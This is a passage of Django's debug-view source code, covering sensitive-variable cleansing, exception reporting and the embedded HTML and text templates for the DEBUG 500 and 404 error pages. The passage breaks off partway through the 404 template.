    def get_traceback_frame_variables(self, request, tb_frame):
        """
        Replaces the values of variables marked as sensitive with
        stars (*********).
        """
        # Loop through the frame's callers to see if the sensitive_variables
        # decorator was used.
        current_frame = tb_frame.f_back
        sensitive_variables = None
        while current_frame is not None:
            if (current_frame.f_code.co_name == 'sensitive_variables_wrapper' and
                    'sensitive_variables_wrapper' in current_frame.f_locals):
                # The sensitive_variables decorator was used, so we take note
                # of the sensitive variables' names.
                wrapper = current_frame.f_locals['sensitive_variables_wrapper']
                sensitive_variables = getattr(wrapper, 'sensitive_variables', None)
                break
            current_frame = current_frame.f_back

        cleansed = {}
        if self.is_active(request) and sensitive_variables:
            if sensitive_variables == '__ALL__':
                # Cleanse all variables
                for name, value in tb_frame.f_locals.items():
                    cleansed[name] = CLEANSED_SUBSTITUTE
            else:
                # Cleanse specified variables
                for name, value in tb_frame.f_locals.items():
                    if name in sensitive_variables:
                        value = CLEANSED_SUBSTITUTE
                    else:
                        value = self.cleanse_special_types(request, value)
                    cleansed[name] = value
        else:
            # Potentially cleanse the request and any MultiValueDicts if they
            # are one of the frame variables.
            for name, value in tb_frame.f_locals.items():
                cleansed[name] = self.cleanse_special_types(request, value)

        if (tb_frame.f_code.co_name == 'sensitive_variables_wrapper' and
                'sensitive_variables_wrapper' in tb_frame.f_locals):
            # For good measure, obfuscate the decorated function's arguments in
            # the sensitive_variables decorator's frame, in case the variables
            # associated with those arguments were meant to be obfuscated from
            # the decorated function's frame.
            cleansed['func_args'] = CLEANSED_SUBSTITUTE
            cleansed['func_kwargs'] = CLEANSED_SUBSTITUTE

        return cleansed.items()


class ExceptionReporter(object):
    """
    A class to organize and coordinate reporting on exceptions.
    """
    def __init__(self, request, exc_type, exc_value, tb, is_email=False):
        self.request = request
        self.filter = get_exception_reporter_filter(self.request)
        self.exc_type = exc_type
        self.exc_value = exc_value
        self.tb = tb
        self.is_email = is_email

        self.template_info = getattr(self.exc_value, 'template_debug', None)
        self.template_does_not_exist = False
        self.postmortem = None

        # Handle deprecated string exceptions
        if isinstance(self.exc_type, six.string_types):
            self.exc_value = Exception('Deprecated String Exception: %r' % self.exc_type)
            self.exc_type = type(self.exc_value)

    def get_traceback_data(self):
        """Return a dictionary containing traceback information."""
        if self.exc_type and issubclass(self.exc_type, TemplateDoesNotExist):
            self.template_does_not_exist = True
            self.postmortem = self.exc_value.chain or [self.exc_value]

        frames = self.get_traceback_frames()
        for i, frame in enumerate(frames):
            if 'vars' in frame:
                frame_vars = []
                for k, v in frame['vars']:
                    v = pprint(v)
                    # The force_escape filter assume unicode, make sure that works
                    if isinstance(v, six.binary_type):
                        v = v.decode('utf-8', 'replace')  # don't choke on non-utf-8 input
                    # Trim large blobs of data
                    if len(v) > 4096:
                        v = '%s... <trimmed %d bytes string>' % (v[0:4096], len(v))
                    frame_vars.append((k, force_escape(v)))
                frame['vars'] = frame_vars
            frames[i] = frame

        unicode_hint = ''
        if self.exc_type and issubclass(self.exc_type, UnicodeError):
            start = getattr(self.exc_value, 'start', None)
            end = getattr(self.exc_value, 'end', None)
            if start is not None and end is not None:
                unicode_str = self.exc_value.args[1]
                unicode_hint = smart_text(
                    unicode_str[max(start - 5, 0):min(end + 5, len(unicode_str))],
                    'ascii', errors='replace'
                )
        from django import get_version
        c = {
            'is_email': self.is_email,
            'unicode_hint': unicode_hint,
            'frames': frames,
            'request': self.request,
            'filtered_POST': self.filter.get_post_parameters(self.request),
            'settings': get_safe_settings(),
            'sys_executable': sys.executable,
            'sys_version_info': '%d.%d.%d' % sys.version_info[0:3],
            'server_time': timezone.now(),
            'django_version_info': get_version(),
            'sys_path': sys.path,
            'template_info': self.template_info,
            'template_does_not_exist': self.template_does_not_exist,
            'postmortem': self.postmortem,
        }
        # Check whether exception info is available
        if self.exc_type:
            c['exception_type'] = self.exc_type.__name__
        if self.exc_value:
            c['exception_value'] = smart_text(self.exc_value, errors='replace')
        if frames:
            c['lastframe'] = frames[-1]
        return c

    def get_traceback_html(self):
        "Return HTML version of debug 500 HTTP error page."
        t = DEBUG_ENGINE.from_string(TECHNICAL_500_TEMPLATE)
        c = Context(self.get_traceback_data(), use_l10n=False)
        return t.render(c)

    def get_traceback_text(self):
        "Return plain text version of debug 500 HTTP error page."
        t = DEBUG_ENGINE.from_string(TECHNICAL_500_TEXT_TEMPLATE)
        c = Context(self.get_traceback_data(), autoescape=False, use_l10n=False)
        return t.render(c)

    def _get_lines_from_file(self, filename, lineno, context_lines, loader=None, module_name=None):
        """
        Returns context_lines before and after lineno from file.
        Returns (pre_context_lineno, pre_context, context_line, post_context).
        """
        source = None
        if loader is not None and hasattr(loader, "get_source"):
            try:
                source = loader.get_source(module_name)
            except ImportError:
                pass
            if source is not None:
                source = source.splitlines()
        if source is None:
            try:
                with open(filename, 'rb') as fp:
                    source = fp.read().splitlines()
            except (OSError, IOError):
                pass
        if source is None:
            return None, [], None, []

        # If we just read the source from a file, or if the loader did not
        # apply tokenize.detect_encoding to decode the source into a Unicode
        # string, then we should do that ourselves.
        if isinstance(source[0], six.binary_type):
            encoding = 'ascii'
            for line in source[:2]:
                # File coding may be specified. Match pattern from PEP-263
                # (http://www.python.org/dev/peps/pep-0263/)
                match = re.search(br'coding[:=]\s*([-\w.]+)', line)
                if match:
                    encoding = match.group(1).decode('ascii')
                    break
            source = [six.text_type(sline, encoding, 'replace') for sline in source]

        lower_bound = max(0, lineno - context_lines)
        upper_bound = lineno + context_lines

        pre_context = source[lower_bound:lineno]
        context_line = source[lineno]
        post_context = source[lineno + 1:upper_bound]

        return lower_bound, pre_context, context_line, post_context

    def get_traceback_frames(self):
        def explicit_or_implicit_cause(exc_value):
            explicit = getattr(exc_value, '__cause__', None)
            implicit = getattr(exc_value, '__context__', None)
            return explicit or implicit

        # Get the exception and all its causes
        exceptions = []
        exc_value = self.exc_value
        while exc_value:
            exceptions.append(exc_value)
            exc_value = explicit_or_implicit_cause(exc_value)

        frames = []
        # No exceptions were supplied to ExceptionReporter
        if not exceptions:
            return frames

        # In case there's just one exception (always in Python 2,
        # sometimes in Python 3), take the traceback from self.tb (Python 2
        # doesn't have a __traceback__ attribute on Exception)
        exc_value = exceptions.pop()
        tb = self.tb if six.PY2 or not exceptions else exc_value.__traceback__

        while tb is not None:
            # Support for __traceback_hide__ which is used by a few libraries
            # to hide internal frames.
            if tb.tb_frame.f_locals.get('__traceback_hide__'):
                tb = tb.tb_next
                continue
            filename = tb.tb_frame.f_code.co_filename
            function = tb.tb_frame.f_code.co_name
            lineno = tb.tb_lineno - 1
            loader = tb.tb_frame.f_globals.get('__loader__')
            module_name = tb.tb_frame.f_globals.get('__name__') or ''
            pre_context_lineno, pre_context, context_line, post_context = self._get_lines_from_file(
                filename, lineno, 7, loader, module_name,
            )
            if pre_context_lineno is not None:
                frames.append({
                    'exc_cause': explicit_or_implicit_cause(exc_value),
                    'exc_cause_explicit': getattr(exc_value, '__cause__', True),
                    'tb': tb,
                    'type': 'django' if module_name.startswith('django.') else 'user',
                    'filename': filename,
                    'function': function,
                    'lineno': lineno + 1,
                    'vars': self.filter.get_traceback_frame_variables(self.request, tb.tb_frame),
                    'id': id(tb),
                    'pre_context': pre_context,
                    'context_line': context_line,
                    'post_context': post_context,
                    'pre_context_lineno': pre_context_lineno + 1,
                })

            # If the traceback for current exception is consumed, try the
            # other exception.
            if six.PY2:
                tb = tb.tb_next
            elif not tb.tb_next and exceptions:
                exc_value = exceptions.pop()
                tb = exc_value.__traceback__
            else:
                tb = tb.tb_next

        return frames

    def format_exception(self):
        """
        Return the same data as from traceback.format_exception.
        """
        import traceback
        frames = self.get_traceback_frames()
        tb = [(f['filename'], f['lineno'], f['function'], f['context_line']) for f in frames]
        list = ['Traceback (most recent call last):\n']
        list += traceback.format_list(tb)
        list += traceback.format_exception_only(self.exc_type, self.exc_value)
        return list


def technical_404_response(request, exception):
    "Create a technical 404 error response. The exception should be the Http404."
    try:
        error_url = exception.args[0]['path']
    except (IndexError, TypeError, KeyError):
        error_url = request.path_info[1:]  # Trim leading slash

    try:
        tried = exception.args[0]['tried']
    except (IndexError, TypeError, KeyError):
        tried = []
    else:
        if (not tried or (                  # empty URLconf
            request.path == '/' and
            len(tried) == 1 and             # default URLconf
            len(tried[0]) == 1 and
            getattr(tried[0][0], 'app_name', '') == getattr(tried[0][0], 'namespace', '') == 'admin'
        )):
            return default_urlconf(request)

    urlconf = getattr(request, 'urlconf', settings.ROOT_URLCONF)
    if isinstance(urlconf, types.ModuleType):
        urlconf = urlconf.__name__

    caller = ''
    try:
        resolver_match = resolve(request.path)
    except Resolver404:
        pass
    else:
        obj = resolver_match.func

        if hasattr(obj, '__name__'):
            caller = obj.__name__
        elif hasattr(obj, '__class__') and hasattr(obj.__class__, '__name__'):
            caller = obj.__class__.__name__

        if hasattr(obj, '__module__'):
            module = obj.__module__
            caller = '%s.%s' % (module, caller)

    t = DEBUG_ENGINE.from_string(TECHNICAL_404_TEMPLATE)
    c = Context({
        'urlconf': urlconf,
        'root_urlconf': settings.ROOT_URLCONF,
        'request_path': error_url,
        'urlpatterns': tried,
        'reason': force_bytes(exception, errors='replace'),
        'request': request,
        'settings': get_safe_settings(),
        'raising_view_name': caller,
    })
    return HttpResponseNotFound(t.render(c), content_type='text/html')


def default_urlconf(request):
    "Create an empty URLconf 404 error response."
    t = DEBUG_ENGINE.from_string(DEFAULT_URLCONF_TEMPLATE)
    c = Context({
        "title": _("Welcome to Django"),
        "heading": _("It worked!"),
        "subheading": _("Congratulations on your first Django-powered page."),
        "instructions": _(
            "Of course, you haven't actually done any work yet. "
            "Next, start your first app by running <code>python manage.py startapp [app_label]</code>."
        ),
        "explanation": _(
            "You're seeing this message because you have <code>DEBUG = True</code> in your "
            "Django settings file and you haven't configured any URLs. Get to work!"
        ),
    })

    return HttpResponse(t.render(c), content_type='text/html')

#
# Templates are embedded in the file so that we know the error handler will
# always work even if the template loader is broken.
#

TECHNICAL_500_TEMPLATE = ("""
<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <meta name="robots" content="NONE,NOARCHIVE">
  <title>{% if exception_type %}{{ exception_type }}{% else %}Report{% endif %}"""
"""{% if request %} at {{ request.path_info|escape }}{% endif %}</title>
  <style type="text/css">
    html * { padding:0; margin:0; }
    body * { padding:10px 20px; }
    body * * { padding:0; }
    body { font:small sans-serif; }
    body>div { border-bottom:1px solid #ddd; }
    h1 { font-weight:normal; }
    h2 { margin-bottom:.8em; }
    h2 span { font-size:80%; color:#666; font-weight:normal; }
    h3 { margin:1em 0 .5em 0; }
    h4 { margin:0 0 .5em 0; font-weight: normal; }
    code, pre { font-size: 100%; white-space: pre-wrap; }
    table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }
    tbody td, tbody th { vertical-align:top; padding:2px 3px; }
    thead th {
      padding:1px 6px 1px 3px; background:#fefefe; text-align:left;
      font-weight:normal; font-size:11px; border:1px solid #ddd;
    }
    tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }
    table.vars { margin:5px 0 2px 40px; }
    table.vars td, table.req td { font-family:monospace; }
    table td.code { width:100%; }
    table td.code pre { overflow:hidden; }
    table.source th { color:#666; }
    table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }
    ul.traceback { list-style-type:none; color: #222; }
    ul.traceback li.frame { padding-bottom:1em; color:#666; }
    ul.traceback li.user { background-color:#e0e0e0; color:#000 }
    div.context { padding:10px 0; overflow:hidden; }
    div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; }
    div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; }
    div.context ol li pre { display:inline; }
    div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; }
    div.context ol.context-line li span { position:absolute; right:32px; }
    .user div.context ol.context-line li { background-color:#bbb; color:#000; }
    .user div.context ol li { color:#666; }
    div.commands { margin-left: 40px; }
    div.commands a { color:#555; text-decoration:none; }
    .user div.commands a { color: black; }
    #summary { background: #ffc; }
    #summary h2 { font-weight: normal; color: #666; }
    #explanation { background:#eee; }
    #template, #template-not-exist { background:#f6f6f6; }
    #template-not-exist ul { margin: 0 0 10px 20px; }
    #template-not-exist .postmortem-section { margin-bottom: 3px; }
    #unicode-hint { background:#eee; }
    #traceback { background:#eee; }
    #requestinfo { background:#f6f6f6; padding-left:120px; }
    #summary table { border:none; background:transparent; }
    #requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }
    #requestinfo h3 { margin-bottom:-1em; }
    .error { background: #ffc; }
    .specific { color:#cc3300; font-weight:bold; }
    h2 span.commands { font-size:.7em;}
    span.commands a:link {color:#5E5694;}
    pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; }
    .append-bottom { margin-bottom: 10px; }
  </style>
  {% if not is_email %}
  <script type="text/javascript">
  //<!--
    function getElementsByClassName(oElm, strTagName, strClassName){
        // Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.com
        var arrElements = (strTagName == "*" && document.all)? document.all :
        oElm.getElementsByTagName(strTagName);
        var arrReturnElements = new Array();
        strClassName = strClassName.replace(/\-/g, "\\-");
        var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
        var oElement;
        for(var i=0; i<arrElements.length; i++){
            oElement = arrElements[i];
            if(oRegExp.test(oElement.className)){
                arrReturnElements.push(oElement);
            }
        }
        return (arrReturnElements)
    }
    function hideAll(elems) {
      for (var e = 0; e < elems.length; e++) {
        elems[e].style.display = 'none';
      }
    }
    window.onload = function() {
      hideAll(getElementsByClassName(document, 'table', 'vars'));
      hideAll(getElementsByClassName(document, 'ol', 'pre-context'));
      hideAll(getElementsByClassName(document, 'ol', 'post-context'));
      hideAll(getElementsByClassName(document, 'div', 'pastebin'));
    }
    function toggle() {
      for (var i = 0; i < arguments.length; i++) {
        var e = document.getElementById(arguments[i]);
        if (e) {
          e.style.display = e.style.display == 'none' ? 'block': 'none';
        }
      }
      return false;
    }
    function varToggle(link, id) {
      toggle('v' + id);
      var s = link.getElementsByTagName('span')[0];
      var uarr = String.fromCharCode(0x25b6);
      var darr = String.fromCharCode(0x25bc);
      s.textContent = s.textContent == uarr ? darr : uarr;
      return false;
    }
    function switchPastebinFriendly(link) {
      s1 = "Switch to copy-and-paste view";
      s2 = "Switch back to interactive view";
      link.textContent = link.textContent.trim() == s1 ? s2: s1;
      toggle('browserTraceback', 'pastebinTraceback');
      return false;
    }
    //-->
  </script>
  {% endif %}
</head>
<body>
<div id="summary">
  <h1>{% if exception_type %}{{ exception_type }}{% else %}Report{% endif %}"""
  """{% if request %} at {{ request.path_info|escape }}{% endif %}</h1>
  <pre class="exception_value">"""
 """{% if exception_value %}{{ exception_value|force_escape }}{% else %}No exception message supplied{% endif %}"""
"""</pre>
  <table class="meta">
{% if request %}
    <tr>
      <th>Request Method:</th>
      <td>{{ request.META.REQUEST_METHOD }}</td>
    </tr>
    <tr>
      <th>Request URL:</th>
      <td>{{ request.get_raw_uri|escape }}</td>
    </tr>
{% endif %}
    <tr>
      <th>Django Version:</th>
      <td>{{ django_version_info }}</td>
    </tr>
{% if exception_type %}
    <tr>
      <th>Exception Type:</th>
      <td>{{ exception_type }}</td>
    </tr>
{% endif %}
{% if exception_type and exception_value %}
    <tr>
      <th>Exception Value:</th>
      <td><pre>{{ exception_value|force_escape }}</pre></td>
    </tr>
{% endif %}
{% if lastframe %}
    <tr>
      <th>Exception Location:</th>
      <td>{{ lastframe.filename|escape }} in {{ lastframe.function|escape }}, line {{ lastframe.lineno }}</td>
    </tr>
{% endif %}
    <tr>
      <th>Python Executable:</th>
      <td>{{ sys_executable|escape }}</td>
    </tr>
    <tr>
      <th>Python Version:</th>
      <td>{{ sys_version_info }}</td>
    </tr>
    <tr>
      <th>Python Path:</th>
      <td><pre>{{ sys_path|pprint }}</pre></td>
    </tr>
    <tr>
      <th>Server time:</th>
      <td>{{server_time|date:"r"}}</td>
    </tr>
  </table>
</div>
{% if unicode_hint %}
<div id="unicode-hint">
    <h2>Unicode error hint</h2>
    <p>The string that could not be encoded/decoded was: <strong>{{ unicode_hint|force_escape }}</strong></p>
</div>
{% endif %}
{% if template_does_not_exist %}
<div id="template-not-exist">
    <h2>Template-loader postmortem</h2>
    {% if postmortem %}
        <p class="append-bottom">Django tried loading these templates, in this order:</p>
        {% for entry in postmortem %}
            <p class="postmortem-section">Using engine <code>{{ entry.backend.name }}</code>:</p>
            <ul>
                {% if entry.tried %}
                    {% for attempt in entry.tried %}
                        <li><code>{{ attempt.0.loader_name }}</code>: {{ attempt.0.name }} ({{ attempt.1 }})</li>
                    {% endfor %}
                {% else %}
                    <li>This engine did not provide a list of tried templates.</li>
                {% endif %}
            </ul>
        {% endfor %}
    {% else %}
        <p>No templates were found because your 'TEMPLATES' setting is not configured.</p>
    {% endif %}
</div>
{% endif %}
{% if template_info %}
<div id="template">
   <h2>Error during template rendering</h2>
   <p>In template <code>{{ template_info.name }}</code>, error at line <strong>{{ template_info.line }}</strong></p>
   <h3>{{ template_info.message }}</h3>
   <table class="source{% if template_info.top %} cut-top{% endif %}
      {% if template_info.bottom != template_info.total %} cut-bottom{% endif %}">
   {% for source_line in template_info.source_lines %}
   {% if source_line.0 == template_info.line %}
   <tr class="error"><th>{{ source_line.0 }}</th>
     <td>{{ template_info.before }}"""
      """<span class="specific">{{ template_info.during }}</span>"""
      """{{ template_info.after }}</td>
   </tr>
   {% else %}
      <tr><th>{{ source_line.0 }}</th>
      <td>{{ source_line.1 }}</td></tr>
   {% endif %}
   {% endfor %}
   </table>
</div>
{% endif %}
{% if frames %}
<div id="traceback">
  <h2>Traceback <span class="commands">{% if not is_email %}<a href="#" onclick="return switchPastebinFriendly(this);">
    Switch to copy-and-paste view</a></span>{% endif %}
  </h2>
  {% autoescape off %}
  <div id="browserTraceback">
    <ul class="traceback">
      {% for frame in frames %}
        {% ifchanged frame.exc_cause %}{% if frame.exc_cause %}
          <li><h3>
          {% if frame.exc_cause_explicit %}
            The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
          {% else %}
            During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
          {% endif %}
        </h3></li>
        {% endif %}{% endifchanged %}
        <li class="frame {{ frame.type }}">
          <code>{{ frame.filename|escape }}</code> in <code>{{ frame.function|escape }}</code>

          {% if frame.context_line %}
            <div class="context" id="c{{ frame.id }}">
              {% if frame.pre_context and not is_email %}
                <ol start="{{ frame.pre_context_lineno }}" class="pre-context" id="pre{{ frame.id }}">
                {% for line in frame.pre_context %}
                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line|escape }}</pre></li>
                {% endfor %}
                </ol>
              {% endif %}
              <ol start="{{ frame.lineno }}" class="context-line">
                <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>
"""            """{{ frame.context_line|escape }}</pre>{% if not is_email %} <span>...</span>{% endif %}</li></ol>
              {% if frame.post_context and not is_email  %}
                <ol start='{{ frame.lineno|add:"1" }}' class="post-context" id="post{{ frame.id }}">
                  {% for line in frame.post_context %}
                  <li onclick="toggle('pre{{ frame.id }}', 'post{{ frame.id }}')"><pre>{{ line|escape }}</pre></li>
                  {% endfor %}
              </ol>
              {% endif %}
            </div>
          {% endif %}

          {% if frame.vars %}
            <div class="commands">
                {% if is_email %}
                    <h2>Local Vars</h2>
                {% else %}
                    <a href="#" onclick="return varToggle(this, '{{ frame.id }}')"><span>&#x25b6;</span> Local vars</a>
                {% endif %}
            </div>
            <table class="vars" id="v{{ frame.id }}">
              <thead>
                <tr>
                  <th>Variable</th>
                  <th>Value</th>
                </tr>
              </thead>
              <tbody>
                {% for var in frame.vars|dictsort:0 %}
                  <tr>
                    <td>{{ var.0|force_escape }}</td>
                    <td class="code"><pre>{{ var.1 }}</pre></td>
                  </tr>
                {% endfor %}
              </tbody>
            </table>
          {% endif %}
        </li>
      {% endfor %}
    </ul>
  </div>
  {% endautoescape %}
  <form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post">
{% if not is_email %}
  <div id="pastebinTraceback" class="pastebin">
    <input type="hidden" name="language" value="PythonConsole">
    <input type="hidden" name="title"
      value="{{ exception_type|escape }}{% if request %} at {{ request.path_info|escape }}{% endif %}">
    <input type="hidden" name="source" value="Django Dpaste Agent">
    <input type="hidden" name="poster" value="Django">
    <textarea name="content" id="traceback_area" cols="140" rows="25">
Environment:

{% if request %}
Request Method: {{ request.META.REQUEST_METHOD }}
Request URL: {{ request.get_raw_uri|escape }}
{% endif %}
Django Version: {{ django_version_info }}
Python Version: {{ sys_version_info }}
Installed Applications:
{{ settings.INSTALLED_APPS|pprint }}
Installed Middleware:
{% if settings.MIDDLEWARE is not None %}{{ settings.MIDDLEWARE|pprint }}"""
"""{% else %}{{ settings.MIDDLEWARE_CLASSES|pprint }}{% endif %}

{% if template_does_not_exist %}Template loader postmortem
{% if postmortem %}Django tried loading these templates, in this order:
{% for entry in postmortem %}
Using engine {{ entry.backend.name }}:
{% if entry.tried %}{% for attempt in entry.tried %}"""
"""    * {{ attempt.0.loader_name }}: {{ attempt.0.name }} ({{ attempt.1 }})
{% endfor %}{% else %}    This engine did not provide a list of tried templates.
{% endif %}{% endfor %}
{% else %}No templates were found because your 'TEMPLATES' setting is not configured.
{% endif %}{% endif %}{% if template_info %}
Template error:
In template {{ template_info.name }}, error at line {{ template_info.line }}
   {{ template_info.message }}"""
"{% for source_line in template_info.source_lines %}"
"{% if source_line.0 == template_info.line %}"
"   {{ source_line.0 }} : {{ template_info.before }} {{ template_info.during }} {{ template_info.after }}"
"{% else %}"
"   {{ source_line.0 }} : {{ source_line.1 }}"
"""{% endif %}{% endfor %}{% endif %}

Traceback:{% for frame in frames %}
{% ifchanged frame.exc_cause %}{% if frame.exc_cause %}{% if frame.exc_cause_explicit %}
The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
{% else %}
During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
{% endif %}{% endif %}{% endifchanged %}
File "{{ frame.filename|escape }}" in {{ frame.function|escape }}
{% if frame.context_line %}  {{ frame.lineno }}. {{ frame.context_line|escape }}{% endif %}{% endfor %}

Exception Type: {{ exception_type|escape }}{% if request %} at {{ request.path_info|escape }}{% endif %}
Exception Value: {{ exception_value|force_escape }}
</textarea>
  <br><br>
  <input type="submit" value="Share this traceback on a public website">
  </div>
</form>
</div>
{% endif %}
{% endif %}

<div id="requestinfo">
  <h2>Request information</h2>

{% if request %}
  {% if request.user %}
    <h3 id="user-info">USER</h3>
    <p>{{ request.user }}</p>
  {% endif %}

  <h3 id="get-info">GET</h3>
  {% if request.GET %}
    <table class="req">
      <thead>
        <tr>
          <th>Variable</th>
          <th>Value</th>
        </tr>
      </thead>
      <tbody>
        {% for var in request.GET.items %}
          <tr>
            <td>{{ var.0 }}</td>
            <td class="code"><pre>{{ var.1|pprint }}</pre></td>
          </tr>
        {% endfor %}
      </tbody>
    </table>
  {% else %}
    <p>No GET data</p>
  {% endif %}

  <h3 id="post-info">POST</h3>
  {% if filtered_POST %}
    <table class="req">
      <thead>
        <tr>
          <th>Variable</th>
          <th>Value</th>
        </tr>
      </thead>
      <tbody>
        {% for var in filtered_POST.items %}
          <tr>
            <td>{{ var.0 }}</td>
            <td class="code"><pre>{{ var.1|pprint }}</pre></td>
          </tr>
        {% endfor %}
      </tbody>
    </table>
  {% else %}
    <p>No POST data</p>
  {% endif %}
  <h3 id="files-info">FILES</h3>
  {% if request.FILES %}
    <table class="req">
        <thead>
            <tr>
                <th>Variable</th>
                <th>Value</th>
            </tr>
        </thead>
        <tbody>
            {% for var in request.FILES.items %}
                <tr>
                    <td>{{ var.0 }}</td>
                    <td class="code"><pre>{{ var.1|pprint }}</pre></td>
                </tr>
            {% endfor %}
        </tbody>
    </table>
  {% else %}
    <p>No FILES data</p>
  {% endif %}


  <h3 id="cookie-info">COOKIES</h3>
  {% if request.COOKIES %}
    <table class="req">
      <thead>
        <tr>
          <th>Variable</th>
          <th>Value</th>
        </tr>
      </thead>
      <tbody>
        {% for var in request.COOKIES.items %}
          <tr>
            <td>{{ var.0 }}</td>
            <td class="code"><pre>{{ var.1|pprint }}</pre></td>
          </tr>
        {% endfor %}
      </tbody>
    </table>
  {% else %}
    <p>No cookie data</p>
  {% endif %}

  <h3 id="meta-info">META</h3>
  <table class="req">
    <thead>
      <tr>
        <th>Variable</th>
        <th>Value</th>
      </tr>
    </thead>
    <tbody>
      {% for var in request.META.items|dictsort:0 %}
        <tr>
          <td>{{ var.0 }}</td>
          <td class="code"><pre>{{ var.1|pprint }}</pre></td>
        </tr>
      {% endfor %}
    </tbody>
  </table>
{% else %}
  <p>Request data not supplied</p>
{% endif %}

  <h3 id="settings-info">Settings</h3>
  <h4>Using settings module <code>{{ settings.SETTINGS_MODULE }}</code></h4>
  <table class="req">
    <thead>
      <tr>
        <th>Setting</th>
        <th>Value</th>
      </tr>
    </thead>
    <tbody>
      {% for var in settings.items|dictsort:0 %}
        <tr>
          <td>{{ var.0 }}</td>
          <td class="code"><pre>{{ var.1|pprint }}</pre></td>
        </tr>
      {% endfor %}
    </tbody>
  </table>

</div>
{% if not is_email %}
  <div id="explanation">
    <p>
      You're seeing this error because you have <code>DEBUG = True</code> in your
      Django settings file. Change that to <code>False</code>, and Django will
      display a standard page generated by the handler for this status code.
    </p>
  </div>
{% endif %}
</body>
</html>
""")  # NOQA

TECHNICAL_500_TEXT_TEMPLATE = (""""""
"""{% firstof exception_type 'Report' %}{% if request %} at {{ request.path_info }}{% endif %}
{% firstof exception_value 'No exception message supplied' %}
{% if request %}
Request Method: {{ request.META.REQUEST_METHOD }}
Request URL: {{ request.get_raw_uri }}{% endif %}
Django Version: {{ django_version_info }}
Python Executable: {{ sys_executable }}
Python Version: {{ sys_version_info }}
Python Path: {{ sys_path }}
Server time: {{server_time|date:"r"}}
Installed Applications:
{{ settings.INSTALLED_APPS|pprint }}
Installed Middleware:
{% if settings.MIDDLEWARE is not None %}{{ settings.MIDDLEWARE|pprint }}"""
"""{% else %}{{ settings.MIDDLEWARE_CLASSES|pprint }}{% endif %}
{% if template_does_not_exist %}Template loader postmortem
{% if postmortem %}Django tried loading these templates, in this order:
{% for entry in postmortem %}
Using engine {{ entry.backend.name }}:
{% if entry.tried %}{% for attempt in entry.tried %}"""
"""    * {{ attempt.0.loader_name }}: {{ attempt.0.name }} ({{ attempt.1 }})
{% endfor %}{% else %}    This engine did not provide a list of tried templates.
{% endif %}{% endfor %}
{% else %}No templates were found because your 'TEMPLATES' setting is not configured.
{% endif %}
{% endif %}{% if template_info %}
Template error:
In template {{ template_info.name }}, error at line {{ template_info.line }}
   {{ template_info.message }}
{% for source_line in template_info.source_lines %}"""
"{% if source_line.0 == template_info.line %}"
"   {{ source_line.0 }} : {{ template_info.before }} {{ template_info.during }} {{ template_info.after }}"
"{% else %}"
"   {{ source_line.0 }} : {{ source_line.1 }}"
"""{% endif %}{% endfor %}{% endif %}{% if frames %}

Traceback:"""
"{% for frame in frames %}"
"{% ifchanged frame.exc_cause %}"
"  {% if frame.exc_cause %}" """
    {% if frame.exc_cause_explicit %}
      The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception:
    {% else %}
      During handling of the above exception ({{ frame.exc_cause }}), another exception occurred:
    {% endif %}
  {% endif %}
{% endifchanged %}
File "{{ frame.filename }}" in {{ frame.function }}
{% if frame.context_line %}  {{ frame.lineno }}. {{ frame.context_line }}{% endif %}
{% endfor %}
{% if exception_type %}Exception Type: {{ exception_type }}{% if request %} at {{ request.path_info }}{% endif %}
{% if exception_value %}Exception Value: {{ exception_value }}{% endif %}{% endif %}{% endif %}
{% if request %}Request information:
{% if request.user %}USER: {{ request.user }}{% endif %}

GET:{% for k, v in request.GET.items %}
{{ k }} = {{ v|stringformat:"r" }}{% empty %} No GET data{% endfor %}

POST:{% for k, v in filtered_POST.items %}
{{ k }} = {{ v|stringformat:"r" }}{% empty %} No POST data{% endfor %}

FILES:{% for k, v in request.FILES.items %}
{{ k }} = {{ v|stringformat:"r" }}{% empty %} No FILES data{% endfor %}

COOKIES:{% for k, v in request.COOKIES.items %}
{{ k }} = {{ v|stringformat:"r" }}{% empty %} No cookie data{% endfor %}

META:{% for k, v in request.META.items|dictsort:0 %}
{{ k }} = {{ v|stringformat:"r" }}{% endfor %}
{% else %}Request data not supplied
{% endif %}
Settings:
Using settings module {{ settings.SETTINGS_MODULE }}{% for k, v in settings.items|dictsort:0 %}
{{ k }} = {{ v|stringformat:"r" }}{% endfor %}

{% if not is_email %}
You're seeing this error because you have DEBUG = True in your
Django settings file. Change that to False, and Django will
display a standard page generated by the handler for this status code.
{% endif %}
""")  # NOQA

TECHNICAL_404_TEMPLATE = """
<!DOCTYPE html>
<html lang="en">
<head>
  <meta http-equiv="content-type" content="text/html; charset=utf-8">
  <title>Page not found at {{ request.path_info|escape }}</title>
  <meta name="robots" content="NONE,NOARCHIVE">
  <style type="text/css">
    html * { padding:0; margin:0; }
    body * { padding:10px 20px; }
    body * * { padding:0; }
    body { font:small sans-serif; background:#eee; }
    body>div { border-bottom:1px solid #ddd; }
    h1 { font-weight:normal; margin-bottom:.4em; }
    h1 span { font-size:60%; color:#666; font-weight:normal; }
    table { border:none; border-collapse: collapse; width:100%; }
    td, th { vertical-align:top; padding:2px 3px; }
    th { width:12em; text-align:right; color:#666; padding-right:.5em; }
    #info { background:#f6f6f6; }
    #info ol { margin: 0.5em 4em; }
    #info ol li { font-family: monospace; }
    #summary { background: #ffc; }
    #explanation { background:#eee; border-bottom: 0px none; }
  </style>
</head>
<body>
